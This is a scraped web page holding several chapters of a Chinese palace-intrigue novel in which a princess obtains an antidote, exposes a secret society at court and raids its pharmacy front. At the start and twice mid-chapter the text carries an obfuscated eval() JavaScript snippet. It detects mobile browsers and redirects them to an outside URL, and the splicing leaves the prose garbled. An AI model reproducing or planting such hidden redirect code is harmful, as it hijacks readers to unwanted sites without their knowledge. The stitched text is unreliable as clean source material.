;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548030|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,朝着正屋靠近。 正屋里传来说话声,很轻,但能听清是楼兰语。她伏在窗下,侧耳倾听。里面的人似乎在汇报什么,提到了“澄心湖”,提到了“毒”,还提到了一个名字——“萨利赫”。 萨利赫?黎音袅皱眉。这是楼兰王庭一个重要人物的名字,怎么会出现在这里?难道楼兰会背后,是楼兰王庭的势力? 她正想继续听下去,脚下忽然传来一声细微的咔哒声。黎音袅心中一凛,意识到自己触动了机关。 下一刻,院子四周亮起火光,十几道人影从暗处冲出,将正屋团团围住。一个低沉的声音响起,带着浓重的口音:“果然有人潜入。活捉她!” 黎音袅没有恋战。她知道自己不是来打架的。情报是第一位的。她迅速判断形势,朝着院墙边冲去。几名**扑了上来,刀剑带着破空声。黎音袅拔剑格挡,剑锋相交发出刺耳的摩擦声。她借力后退,同时甩出几枚暗器,逼退追兵。 院墙很高,上面似乎抹了油。黎音袅助跑,纵身一跃,指尖堪堪扣住墙头。她咬牙发力,身体向上攀升。下方传来弓弦响声,几支箭矢钉在她刚才所处的位置。 她翻过墙头,落在另一侧的巷道里。巷道里也有人影晃动,显然对方布置了多重防线。黎音袅没有停顿,展开身法,朝着坊市外冲去。身后传来急促的脚步声和呼喝声,追兵紧追不舍。 她穿过坊市的喧闹,冲入更宽阔的街道。追兵依然咬得很紧。她必须甩掉他们。 黎音袅拐入一条小巷,小巷尽头是一堵死墙。她没有犹豫,一剑刺入墙壁缝隙,借力向上攀爬。这是她在将军府训练时常用的方法。追兵冲到巷口,看到她的身影消失在墙头,立刻有人开始攀爬。 她翻过墙,落在另一条街上。这条街上行人较少。她辨别方向,朝着将军府的方向狂奔。直到确定甩掉了追兵,她才放慢脚步,胸膛剧烈起伏。 回到将军府,天色已经蒙蒙亮。她悄悄回到自己的院子,换下夜行衣。身上的几处小伤口火辣辣地疼。 她没有休息,直接去了江令舟的房间。太医们还在,神情更加疲惫。江令舟的情况没有好转,甚至更糟了些,嘴唇的紫色蔓延到了脸颊。 黎音袅走到床边,看着他。一夜的冒险,她只得到了一个名字——萨利赫。以及确定了楼兰会据点的大致位置。这远远不够。 她握住江令舟冰冷的手,指尖触碰到他手腕上微弱的脉搏。她看着他紧闭的双眼,心中涌起强烈的誓言。 “我一定会找到解药。”她低声说,声音带着一种不容置疑的决心,“不管要付出什么代价。” 第95章解药 黎音袅守在江令舟床边,直到天光彻底穿透窗棂。 脚步声停在门外。亲信阿武低声禀报:“长公主,门房收到一封信,指名给您,没有署名。” 黎音袅起身,接过那封薄薄的信笺。信封是普通的材质,上面只有“黎音袅亲启”四个字。她拆开信,里面只有寥寥数语:城西三十里,断云山深处,有药庐可解奇毒。速去。 没有落款,没有缘由,字迹陌生。 “断云山?”黎音袅看向阿武,“那里不是一片荒山吗?” 阿武点头:“是,地势险峻,据说还有瘴气,鲜少有人去。” “查过送信人吗?” “门房说是个生面孔,放下信就走了,没看清长相。” 黎音袅捏着信纸。一个陷阱?还是…一线生机?她看了一眼床上毫无生气的江令舟,脸颊上的紫意比昨夜更深。没有时间犹豫。 “备马。”她说,“挑三个最得力的,跟我出城。” 阿武欲言又止:“长公主,这信来历不明,万一是调虎离山…” “他现在等不了。”黎音袅打断他,“就算是陷阱,我也要去闯一闯。” 她的语气没有波澜,决定已下。阿武不再多言,领命而去。 半个时辰后,黎音袅带着阿武和其他三名亲信,五匹快马悄然离开了将军府,朝着西城门而去。清晨的街道行人稀少,马蹄敲打着石板路,声音在空旷中回荡。 刚出城门,官道尚算平坦。黎音袅催马前行,心思却在飞转。萨利赫,澄心湖,毒…楼兰会。这封信和他们有关吗?是谁送来的?目的何在?无数疑问盘旋,但眼下最重要的是找到那个药庐。 行出约十里,前方出现一片密林。官道从林边穿过。就在他们即将进入林区时,两侧突然射出数支冷箭,直奔马上众人。 “有埋伏!”阿武大喝,挥刀格挡。 黎音袅反应更快,身体后仰,几乎贴在马背上,躲过一支擦着头皮飞过的箭矢。她勒住缰绳,战马人立而起。 林中冲出十几个黑衣人,手持刀剑,沉默着扑上来。他们的身法利落,配合默契,显然是训练有素的**。 “护住长公主!”阿武吼道,与两名亲信迎上敌人。 黎音袅没有下马,她居高临下,手中长剑挥洒,逼退靠近的敌人。她注意到这些人的武器制式和攻击路数,与昨夜**她的人不同,更像是…朝中某些势力豢养的死士。 “速战速决,不要恋战!”黎音袅下令。目标是断云山,不能在这里耗费太多时间。 她双腿一夹马腹,战马向前冲撞,将两名**撞翻在地。长剑顺势刺出,结果了一名企图偷袭阿武的敌人。 对方似乎也没想到他们抵抗如此激烈,攻势稍缓。黎音袅抓住机会,喝道:“冲过去!” 五人策马强行冲破包围,阿武断后,砍翻两名追击者。箭矢再次从林中射来,但他们已经冲出了有效射程。 马匹一路狂奔,将密林甩在身后。一名亲信手臂中箭,草草包扎了一下。 “长公主,这些人不像是楼兰会的。”阿武喘着气说。 “我知道。”黎音袅看着前方逐渐显露轮廓的远山,“朝中有人不希望令舟活下来。”这个认知让她心头发冷。内忧外患,江令舟的处境比她想象的更危险。 继续前行,道路变得崎岖。进入断云山范围,地势陡然升高,碎石遍布,马匹行走困难。他们不得不下马,牵着马匹徒步前进。 山中雾气弥漫,能见度很低。周围是嶙峋的怪石和虬结的古树,寂静无声,透着一股诡异。信上只说“断云山深处”,并未给出具体位置。 “分头找找看有没有类似药庐的建筑。”黎音袅吩咐。 四名亲信散开,保持着能相互呼应的距离,在雾气中搜索。黎音袅牵着马,一边警惕四周,一边仔细观察地形。这里的空气确实有些不同,带着一种微甜的、令人不安的气味。是瘴气吗? 走了约莫一炷香的时间,前方传来阿武的声音:“长公主,这边有发现!” 黎音袅立刻赶过去。只见阿武站在一处山坳前,指着里面。雾气在这里似乎淡了一些,隐约能看到山坳深处似乎有几间简陋的木屋,屋顶覆盖着厚厚的藤蔓,几乎与山石融为一体。一条极不明显的小径蜿蜒通向那里。 “就是这里了。”黎音袅说。她让三名亲信留在外面接应,只带阿武一人,沿着小径向药庐走去。 小径两旁看似寻常的草木间,隐藏着不易察觉的陷阱。黎音袅凭借经验,避开了几处伪装成石块的绊索和涂抹了毒液的尖刺。 越靠近木屋,那股微甜的气味越浓。走到院门前,门是虚掩着的。院子里随意晾晒着各种草药,散发出混合的奇异味道。 黎音袅推开院门。一个苍老的声音从正屋里传出:“既然来了,就进来吧。”声音沙哑,带着几分慵懒。 黎音袅和阿武对视一眼,走进院子,来到正屋门前。 “晚辈黎音袅,求见庐主。”黎音袅开口。 屋门吱呀一声打开。一个身穿粗布麻衣,头发花白、胡乱挽着发髻的老者站在门内,手里拿着一根剔牙的草棍,眼神浑浊地打量着他们。 “求药?”老者问,语气平淡。 “是。”黎音袅点头,“家夫身中奇毒,性命垂危,听闻庐主或有解救之法,特来求药。” 老者嗤笑一声:“断云山鸟不拉屎的地方,谁告诉你的?又是哪个想借老夫的手,搅弄风云?” 黎音袅心头一动:“晚辈收到匿名信指引。” “匿名信?”老者挑眉,似乎有些意外,随即又恢复了那副懒散的样子,“这世上的毒千奇百怪,老夫也不是神仙。什么毒?谁下的手?总得说清楚吧。” “毒来自楼兰,具体名称不知,下毒者疑为楼兰会。”黎音袅简要说明,“**者是镇国将军江令舟。” 老者剔牙的动作停顿了一下,浑浊的眼睛里闪过一丝微光,快得几乎捕捉不到。“镇国将军?那个和楼兰人打了十几年的江令舟?” “正是。” 老者沉默了片刻,转身走进屋内。“进来吧。” 屋内光线昏暗,同样堆满了各种药材,空气中弥漫着更浓郁的药味。老者坐在一张矮榻上,示意黎音袅坐到他对面。阿武则警惕地守在门口。 “把他的症状说说。”老者拿起一个紫砂茶壶,给自己倒了杯颜色诡异的茶水。 黎音袅详细描述了江令舟**后的症状,包括嘴唇发紫、脉搏微弱、身体冰冷、逐渐失去意识等。 老者一边 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老者摇头:“老夫隐居在此,不图钱财,不图权势。给不给,全看老夫心情。”他站起身,走到一个药柜前,打开其中一个抽屉,里面似乎放着一个小盒子。 “江令舟守卫边疆,抵御楼兰,于国有功。但朝堂之上,多少人盼着他死?救了他,或许会引来更大的麻烦。你一个女子,何苦把自己卷进来?”老者背对着她,声音悠悠传来。 “他是我的家人。”黎音袅说,声音不大,却很清晰,“家人有难,我不能袖手旁观。无论将来面对什么,我都认。” 老者转过身,手里拿着一个巴掌大的黑漆木盒。他走到黎音袅面前,将木盒递给她。 “解药只有一颗,能不能救回来,看他的造化了。”老者说。 黎音袅接过木盒,入手微沉。她打开盒子,里面静静躺着一颗暗红色的药丸,散发出淡淡的异香。 “多谢庐主!”黎音袅起身,郑重行礼。 “不必谢我。”老者摆摆手,“老夫只是不想看到牵机引这种阴损的东西,再害一个英雄人物罢了。赶紧走吧,送药要紧。” 黎音袅不再耽搁,带着阿武迅速离开药庐。外面等候的三名亲信看到他们出来,神情一松。 “长公主,拿到解药了?” 黎音袅点头,将黑漆木盒小心收好。“立刻回城!” 归途并未再遇到埋伏,但黎音袅的心一直悬着。她催马疾驰,恨不得立刻飞回将军府。 回到将军府时,已是黄昏。她径直冲入江令舟的房间。太医们还在,见到她回来,脸上露出询问的神色。 黎音袅没有解释,快步走到床边,扶起江令舟的上半身,取出那颗暗红色的药丸,小心地喂入他口中。药丸入口即化。 她放下江令舟,紧紧盯着他的脸。时间一点一滴过去,房间里静得可怕。 不知过了多久,江令舟苍白脸颊上的紫意,似乎…淡了一些? 一名太医连忙上前诊脉,片刻后,他脸上露出难以置信的神色:“脉象…脉象平稳了一些!” 黎音袅的心脏重重跳了一下。她俯身,看到江令舟紧蹙的眉头似乎舒展了些许。 她站在床边,看着他。 第97章必须查清 京城暗流涌动,数日不息。 江令舟在府中养伤,并未完全闲置。他调来的亲信将领与影卫带回了更多线索。漕运记录中几艘货船的航线异常,目的地指向南方灾区,却在途中多次停靠非官方码头。户部核查的税收记录显示,“百草堂”数家分号缴纳的税款与其庞大的资金流水完全不符,差额巨大,去向不明。地方衙门的回报则更为直接,几位与“百草堂”往来密切的官员,其家产在短期内暴增。所有线索如同一条条溪流,最终汇入名为“楼兰会”的暗河。 黎音袅那边,进展同样迅速。她借助江湖旧友的网络,撒下天罗地网。虽然“楼兰会”的名字依旧隐秘,但“百草堂”一些偏远分号的异常行为被挖了出来。囤积药材却不售卖,暗中与地方势力接触,甚至有武者出入的踪迹。阿武带回的情报最为关键,他盯梢京城“百草堂”总号的那个伙计,发现此人竟与城防营的一名副尉有秘密接触。 证据链逐渐完整。黎音袅回到将军府,与江令舟彻夜整理所有卷宗、书信、账目。每一份证据都指向一个庞大的、潜藏在暗处的组织,其触手已伸向漕运、官场、甚至军方。 “时机到了。”黎音袅将一份地方官员与“百草堂”勾结的密信放在最上面。 江令舟看着堆积如山的卷宗,又看看黎音袅。“你确定要亲自去?” “必须我去。”黎音袅回答,“我是长公主,他是皇帝。这件事,由我向他陈述,分量不同。而且,你身上的猜忌未完全洗清,此刻不宜站在风口浪尖。” 江令舟没再反驳。他整理好另一部分关于漕运和资金流向的账簿证据。“我陪你进宫。” “不,你留在府中。”黎音袅否决,“宫城内外,需要有人策应。若有变故,你在外面,我更安全。” 江令舟沉默片刻。“让影卫跟着。” “好。” 次日清晨,皇宫,紫宸殿。 早朝的气氛一如既往,沉闷而肃穆。官员们按品级站立,眼观鼻,鼻观心。皇帝端**,听着各部官员奏报日常事务。 直到内侍高声唱喏:“黎音袅,觐见——” 群臣有些意外。长公主鲜少参与朝政,今日突然上殿,所为何事? 黎音袅一身宫装,步入大殿。她未施粉黛,面容平静,手中捧着一个木匣。 “皇兄。”她行礼。 皇帝示意她平身。“皇妹今日上殿,有何要事?” “臣妹有要事启奏,关乎社稷安危。”黎音袅声音清晰,传遍大殿。她打开木匣,取出里面的卷宗和证物。“臣妹与驸马江令舟,经数月查证,发现一个名为‘楼兰会’的秘密组织,其以‘百草堂’药铺为掩护,在各地行不法之事,勾结官员,牟取暴利,甚至可能涉及通敌。” 此言一出,满殿哗然。 “肃静!”皇帝沉声喝止。他示意内侍接过黎音袅手中的证物。“呈上来。” 内**木匣捧到御前。皇帝亲自翻阅,脸色逐渐阴沉。他先看了那封密信,又翻看几页账簿,最后拿起一份关于漕运异常的报告。 殿内鸦雀无声,落针可闻。所有人都感受到皇帝身上散发出的压力。 “户部尚书!”皇帝的声音不高,却带着雷霆之威。 户部尚书刘庸出列,躬身:“臣在。” “‘百草堂’的税收记录,为何与这些账目出入如此之大?几笔巨额资金流转,户部竟无备案?”皇帝将一份账目摘要扔到刘庸面前。 刘庸捡起摘要,匆匆看过,额头冒汗。“陛下,‘百草堂’一向按时纳税,账目清晰。至于这些……这些所谓的账目,来路不明,恐是伪造,意图构陷!” “构陷?”黎音袅上前一步。“刘大人,这些账目皆是从‘百草堂’内部流出,记录详实,与漕运记录、关防文书相互印证。若说是伪造,请问刘大人,谁有这么大的本事,能同时伪造户部、漕运衙门、地方关防等多处文书?” 刘庸一时语塞。 这时,御史中丞张启明出列:“陛下,长公主殿下所言‘楼兰会’,臣闻所未闻。‘百草堂’乃百年老店,信誉卓著。仅凭一些来历不明的书证,便指控其勾结官员,甚至通敌,未免太过草率!江将军此前便遭人诬陷,如今长公主又拿出这些东西,难保不是有人挾私报复,欲加之罪!” 他这话意有所指,将矛头直接对准了黎音袅和江令舟。 吏部侍郎王丞也附和:“张大人所言有理。‘百草堂’在南方水灾时,曾捐赠大量药材,救助灾民,有口皆碑。若真是奸邪之辈,岂会行此善举?臣以为,此事定有误会,或是某些宵小从中作梗,搬弄是非。” “善举?”黎音袅反问,“王大人可知,‘百草堂’捐赠的药材,多是廉价草药,而其暗中通过漕运走私、囤积居奇的珍稀药材,价值几何?他们用九牛一毛博取善名,暗地里却大发国难财!这些账目上写得清清楚楚!” 她指向御案上的证物。“至于张大人所言‘挾私报复’,更是无稽之谈。我与驸马查证此事,冒着极大风险,九死一生。若非为了揭露真相,何至于此?还是说,张大人、王大人,与这‘百草堂’或者‘楼兰会’,有什么特殊的关系,才如此急于为他们辩解?” “你……”张启明脸色涨红,“长公主,血口喷人!” “臣等附议!”又有几名官员站出来,纷纷指责黎音袅危言耸听,证据不足,甚至质疑她干预朝政的动机。 朝堂之上,顿时吵嚷起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“朕命你们三人,即刻成立专案组,由昭阳长公主黎音袅牵头,兵部、刑部协同,彻查‘楼兰会’及‘百草堂’一案!所有相关人等,无论官职高低,一律严查,绝不姑息!” 皇帝停顿一下,补充道:“江令舟在查证此事中有功,暂代禁军副统领之职,协助专案组调查,并负责调动禁军保护相关人证物证。” 这个任命,既是对江令舟能力的肯定,也是一种保护。有禁军副统领的身份,江令舟行事会方便许多,也能震慑宵小。 “遵旨!”黎音袅、秦岳、周正领命。 那些反对的官员脸色变得十分难看,尤其是刘庸和张启明,眼神中闪过一丝慌乱。 皇帝挥手:“退朝。” 群臣躬身行礼,陆续退出大殿。黎音袅收好皇帝批复的文件,转身准备离开。 张启明走到她身边,低声说:“长公主殿下,好手段。只是,水能载舟,亦能覆舟。有些浑水,还是不趟为妙。” 黎音袅脚步未停。“多谢张大人提醒。不过,这水,我趟定了。” 她走出紫宸殿。 第98章难对付 紫宸殿外天光大亮。 专案组的临时公廨设在宫中一处偏殿,殿内陈设简朴,唯有长案数张,卷宗堆积。黎音袅甫一坐定,秦岳与周正亦随之入内。 “事不宜迟,”黎音袅开口,声音无波无澜,“‘百草堂’在京师的总号,是我们的第一个目标。查封账册,控制主事之人。” 秦岳抱拳:“长公主所言极是。此类巢穴,当以雷霆之势捣之,迟则生变,恐其销毁罪证。”他言语间自带军中杀伐气。 周正略一沉吟:“查封抓人,须得有章法。刑部可即刻签发海捕文书,确保名正言顺,不留话柄。”他看向黎音袅,“百草堂京师总号人多眼杂,还需禁军协助,方能万全。” 黎音袅点头:“秦尚书负责调度突击,周尚书完善文书手续。江令舟会配合我们。此事,务必一击即中。”她心中念头转过,秦岳勇猛,周正审慎,二人皆是干才,如何调和,在于她。 不多时,一名禁军校尉疾步入内,呈上一封密信:“启禀长公主,江副统领已按您的吩咐,加派人手护卫偏殿,另有探子回报,‘百草堂’总号今日一早便有数辆马车频繁出入,似在转移物件。” “知道了。”黎音袅接过密信,阅后递给秦岳与周正,“看来,他们已经嗅到味道了。”她起身,“阿武,点齐人手,随我走一趟。秦尚书,周尚书,这里交给你们。” “长公主,您亲自前往?”秦岳略感意外。 “不入虎穴,焉得虎子。”黎音袅语气平淡,“有些人,需要我亲自去‘请’。” “百草堂”总号位于京城最繁华的朱雀大街,此刻却不似往日那般门庭若市。几名伙计在门口张望,神色不安。 黎音袅一行人马未至铺前,当先的禁军已迅速控制了各个出口。阿武带着几名亲卫,护着黎音袅直入铺内。药香浓郁,却掩不住一丝焦糊的气味。 “掌柜何在?”黎音袅扬声。 一名体态臃肿的中年男子从后堂匆匆走出,脸上堆着笑,眼神却游移不定:“不知长公主大驾光临,小人有失远迎。” “朱掌柜,”黎音袅直视他,“听闻贵号生意兴隆,账目繁多。本宫奉旨查案,想借阅一下近年的账册。” 朱掌柜脸上的肌肉抽动一下:“长公主说笑了,区区药铺,哪有什么要紧账册。都是些流水记录,早已按惯例……” “惯例是销毁吗?”黎音袅打断他,目光扫向后堂方向,那里正有一缕极淡的青烟飘出。“阿武!” 阿武会意,身形一晃便冲向后堂。片刻之后,他提着一个兀自冒着火星的铜火盆出来,里面是烧了小半的几本册子。另有两名伙计被他反剪双手,狼狈不堪。 “长公主,他们正要烧毁这些。”阿武将火盆重重顿在地上,金属撞击声刺耳。 朱掌柜脸色煞白,噗通一声跪倒:“长公主饶命!这……这只是些废弃的旧账,留着无用,才想着处理掉,绝无他意!” 黎音袅缓步上前,拾起一本边缘焦黑的账册,翻开几页,上面密密麻麻的记录,有些字迹已被火舌吞噬。“废弃旧账?我看是罪证确凿,才急于毁灭吧。”她声音不高,却字字敲在朱掌柜心上。“朱掌柜,还有这两位伙计,跟我们走一趟吧。百草堂,即刻查封。” 偏殿之内,气氛凝重。朱掌柜与那两名伙计,连同从总号搜出的其余管事、账房数人,皆被带到。秦岳与周正已等候多时,见黎音袅带回人证物证,神色皆是一肃。 审问从朱掌柜开始。 “朱有福,你在百草堂担任何职,任职多久?”黎音袅坐在主位,秦岳、周正分坐两侧。 朱有福努力镇定心神:“回长公主,小人是百草堂京师总号掌柜,在此已有十五年。” “十五年,”黎音袅重复一句,“那你对‘楼兰会’,应当不陌生吧?” 朱有福立刻摇头,幅度夸张:“‘楼兰会’?长公主,小人愚钝,从未听过此名号。小人只是一介商贾,每日操心的不过是药材进出,如何敢与什么‘会’扯上关系。”他语气恳切,仿佛受了天大冤枉。 黎音袅不为所动:“你在后堂烧毁的账册,上面记录了大量药材送往军中,却与兵部记录的实收数目不符。这些药材,去了哪里?” “长公主明察!”朱有福叩首,“药材运送路途遥远,损耗在所难免。或是山匪劫掠,或是地方官吏克扣,我等也是有苦难言。至于兵部的记录,小人如何能知晓。” 秦岳冷哼一声:“一派胡言!军需药材皆有特定押运路线和护卫,寻常山匪岂敢觊觎?你这分明是推脱之词!” 朱有福伏地不起:“将军息怒,小人所言句句属实。百草堂本分经营,绝不敢有欺瞒朝廷之举。” 黎音袅看向他:“本分经营?那为何要销毁账册?若无不可告人之事,何必如此心虚?” “长公主,那真是旧账,留存占地方,伙计们自作主张处理,小人也是事后才知。”朱有福辩解道,将责任推给下人。 黎音袅转向那名被阿武抓住的伙计:“你叫什么名字?为何要烧账册?” 那伙计瑟缩一下,看了眼朱有福,才小声回答:“小人……小人名叫王二,是……是听掌柜的吩咐,清理废纸。” “废纸?”黎音袅拿起一本未完全烧毁的账册,“这上面记录着‘**’、‘密送’等字样,还有许多没有名目的银钱往来,这也是废纸?” 王二低下头,不敢再言语,只是反复说:“小人不知,小人只是听命行事。” 周正开口,语气平和却带着压力:“朱掌柜,王二,你们可知,销毁朝廷查案所需的重要证物,按律当如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548034|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何处置?阻挠办案,罪加一等。若此刻坦白,尚有回旋余地。” 朱有福依旧嘴硬:“周大人,我等确实不知何为‘楼兰会’,亦无意销毁什么证物。一切皆是误会。” 黎音袅观察着他们的神色。朱有福看似慌乱,但眼神深处却有一种异样的平静,仿佛早已预料到会有今日,并做好了应对。其余人等,要么垂头不语,要么矢口否认。 她逐一盘问了其他几名管事和账房,得到的答案如出一辙:对“楼兰会”一无所知,账目问题皆是“正常损耗”或“记录疏忽”。他们口径统一,滴水不漏。 黎音袅心中升起一股无名火,却被她强压下去。这些人,不是普通的刁民,他们背后有严密的组织和指令。她原以为,抓到人证物证,至少能撕开一道口子。 “看来,你们是不见棺材不落泪。”黎音袅缓缓道,“百草堂与军中药材交易的异常,兵部早有记录。南方官员勾结商贾,侵吞赈灾物资,刑部亦有耳闻,其中都有‘百草堂’的影子。你们以为,仅凭几句‘不知’、‘误会’,就能撇清关系?” 朱有福抬起头,脸上竟露出一丝苦笑:“长公主,草民等人确实只是本分商人。若说账目上有些许出入,那也是经营中的常情。至于长公主所说的其他事情,草民等人是万万不敢牵涉的。” 秦岳拍案而起:“大胆刁民!死到临头还敢狡辩!” 黎音袅抬手,制止了秦岳。她看着朱有福:“本宫再问你一次,‘楼兰会’究竟是什么组织?主事者何人?你们在其中扮演什么角色?” 朱有福沉默片刻,然后以一种近乎虔诚的语气说:“长公主,草民真的不知道。就算将草民千刀万剐,草民也说不出一个字来。” 其余人等也纷纷附和:“我等不知。”“请长公主明察。” 殿内陷入一种令人窒息的沉寂。黎音袅清楚,眼前的这些人,不过是冰山一角。他们如此顽抗,要么是忠心耿耿,要么是畏惧背后之人胜过畏惧朝廷。 她看着这些人的脸,试图从中找出破绽,却只看到一张张麻木或故作镇定的面孔。 黎音袅挥了挥手:“将他们分别押入禁军临时看押点,严加看管,不许任何人探视,不许他们相互通气。” “是!”禁军领命,将朱有福等人带下。 偏殿内只剩下黎音袅、秦岳和周正三人。 秦岳余怒未消:“长公主,这些刁滑之徒,不给他们点颜色看看,他们是不会招的!” 周正皱眉:“秦尚书,用刑乃下下之策,且容易屈打成招,反而混淆视听。此事需从长计议。” 黎音袅没有说话,她走到窗边,望着外面灰蒙蒙的天空。这些人,比她预想的更难对付。这张网,比她预想的更密。 她转过身:“他们有恃无恐。” 第99章暂停调查 山雨欲来风满楼。 不过数日,京城的天,便变了颜色。 “长公主,宫里传来的消息。”江令舟步入偏殿,手中拿着一份密报。 黎音袅正在看秦岳那边传回的初步排查简报,闻言抬首。 “讲。” “御史台数名御史联名上奏,**长公主与臣,滥用职权,借查百草堂之名,罗织罪名,排除异己。”江令舟的声音没有起伏。 黎音袅放下简报。“哦?排除异己?他们倒是会选词。” 她心中冷笑,这些人,动作倒是快。这是料定她一时拿不出铁证,便先发制人,搅乱朝堂。 “**奏章,雪片一般飞向御书房。朝中有人煽风点火,言辞激烈,请求陛下立刻停止调查,严惩我等。”江令舟继续陈述。 “陛下如何?”黎音袅问。 “陛下……驳回了立刻严惩的请求。”江令舟停顿片刻,“但下旨,专案组暂停一切调查,等候进一步的证据。” “暂停调查。”黎音袅重复这四个字,语气平静。 她早料到会有反扑,却未曾想来得如此迅猛,如此直接。暂停调查,便是给了对方喘息之机,更是将她推到了风口浪尖。 “那些人,是想让本宫知难而退。”黎音袅起身,走到窗边。 窗外,阴云密布。 “长公主,秦尚书与周大人那边……”江令舟开口。 “他们的行动,是否已经暴露?”黎音袅问。 “目前看来,尚未。他们皆是秘密行事,知晓之人极少。”江令舟回答,“但若京中调查全面暂停,他们在外亦会束手束脚,难以深入。” 黎音袅沉默。 这些人,不仅仅是要她停止调查,更是要借此机会,将她彻底扳倒。她若退缩,便是坐实了那些莫须有的罪名。她若强硬,便是抗旨不遵。 “他们倒是打得一手好算盘。”黎音袅的指尖轻轻敲击着窗棂。笃、笃、笃 江令舟:“长公主,臣以为,对方此次发难,背后定有‘楼兰会’的影子。他们是想借朝堂之力,压制我们。” “自然是他们。”黎音袅道,“朝堂上的那些人,不过是他们的棋子。真正可怕的,是操纵棋盘的手。” 她转过身,看着江令舟:“你觉得,我们现在最应该做什么?” 江令舟:“臣以为,当务之急,是稳住局面,安抚朝中非议。同时,加快暗中取证。只要拿到确凿证据,一切污蔑不攻自破。” “安抚?”黎音袅反问,“如何安抚?那些御史,既然敢上书**,便是得了授意,做好了准备。此时去安抚,只会让他们觉得我们心虚。” 她心中清楚,对方既然出手,便不会轻易罢休。朝堂上的争斗,一旦开始,便是不死不休。 “至于加快取证……”黎音袅踱了几步,“明面上,我们已奉旨暂停。若再有动作,被他们抓住把柄,便是罪加一等。” 江令舟眉头微皱:“那长公主的意思是……” “暂停,是给某些人看的。”黎音袅道,“但我们的手脚,不能真的停下来。” 她看向江令舟:“你我被**,罪名是滥用职权,诬陷忠良。他们说我们诬陷,我们就拿出不是诬陷的证据给他们看。” “可时间……”江令舟有些迟疑。 “时间不多。”黎音袅截断他的话,“他们以为暂停调查,就能拖延时间,销毁证据,或者另做布置。我们偏不能让他们如愿。” 她停在地图前,目光再次落在南方那几个州府。 “秦岳那边,让他继续查。但行事务必更加隐秘,不可有任何差池。告诉他,本宫只要结果,不要过程中的任何风吹草动。” “臣明白。”江令舟应道。 “周正那边,京畿的江湖势力,让他暂时放缓。这些人,多是些地痞流氓,翻不起大浪。但要盯紧,莫让他们有机会串联生事。” “是。” “至于我……”黎音袅的指尖点在舆图上百草堂南方最大的一个分号位置,“原定的计划,不变。” 江令舟一惊:“长公主,此时风声鹤唳,您若离京,万一……” “万一他们借机生事,说本宫畏罪潜逃?”黎音袅挑眉,“那便让他们说去。嘴长在他们身上,本宫还能管得住他们放什么屁不成?” 她心中却想:越是这种时候,越要出其不意。他们以为我会因朝堂之事束手束脚,偏要让他们看看,我不仅没有停下,反而会更快。 “长公主三思。”江令舟劝道,“南方分号,本就是龙潭虎穴。如今京中局势不稳,您亲身犯险,实在……” “江令舟,”黎音袅打断他,“你觉得,现在是瞻前顾后的时候吗?” 江令舟沉默。 “他们已经将刀架在了我们的脖子上。”黎音袅语气平静,“我们若再不拿出点真东西,下一步,就是人头落地。” 这话虽说得严重,却也是事实。此次**,若无后续强有力的证据反击,皇帝即便再信任她,也难以抵挡朝臣的悠悠众口。届时,削权 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“楼兰会……”黎音袅轻念这个名字,“他们以为,用朝堂的规矩就能困住我。他们错了。” 她不是循规蹈矩之人。规矩是死的,人是活的。既然对方不按牌理出牌,她也不必再客客气气。 “江令舟,你留在京中,替我稳住局面。若有异动,便宜行事。” 江令舟抬首:“长公主,让臣随您同往南方。京中之事,臣可以交付给副统领。” 黎音袅摇头:“不。京城是根本。你在此,我才能安心。南方之行,我自有安排。” 她需要的,不仅仅是一个护卫,更是一个能在她离开之后,镇得住京城局面的人。江令舟,无疑是最佳人选。 “长公主……” “不必多言。”黎音袅摆手,“此事就这么定了。你即刻去安排,我三日后启程。” 三日。 江令舟心中一凛。如此仓促。 但他没有再劝。他了解黎音袅的脾性。 “臣领命。”江令舟应下。 他退出偏殿,殿门在他身后合拢。 黎音袅独自站在殿中,看着那副巨大的舆图。 “楼兰会,”她低语,“你们的网撒得很大。可惜,再大的网,也总有漏洞。” 她要做的,就是找到那个最大的漏洞,然后,一剑刺穿。 暂停调查的旨意,很快便传遍了京城。 第100章真正的核心 黎音袅和阿武等人换上了寻常的衣衫,混迹在往来的人流之中。 他们没有骑马,而是乘坐一辆不起眼的马车,一路向南。并非真的要去南方,而是要避开京城的视线。在京郊的一处隐蔽地点,他们弃了马车,改乘小船,沿着一条不起眼的水道逆流而上,最终深入了一片荒凉的山谷。 山谷中,一座庄园孤零零地立在那里。它看起来并不大,也没有富丽堂皇的外表,更像是一个普通的乡间田庄。但黎音袅知道,越是普通,越可能藏着秘密。他们在庄园附近潜伏下来,观察。 庄园外围有巡逻的人。这些人不是寻常的庄稼汉,他们的步伐、站姿,都带着一种习武之人的气息。人数不多,但配合默契,将庄园围了个水泄不通。 “长公主,这些人是练家子。”阿武压低声音。 黎音袅点头,没有说话。她在观察巡逻的路线、换班的时间,以及庄园内部偶尔显露出的灯光和人影。庄园的大门紧闭,没有人员进出。这更让她确定,这里有问题。 他们等了一整天。山谷的风带着凉意。黎音袅没有抱怨,只是耐心等待。她知道,急躁只会暴露自己。 夜幕降临。庄园内的灯火熄灭了大半,只有几处还亮着微弱的光。巡逻的人影在黑暗中晃动,显得更加警惕。 “动手。”黎音袅下了命令。 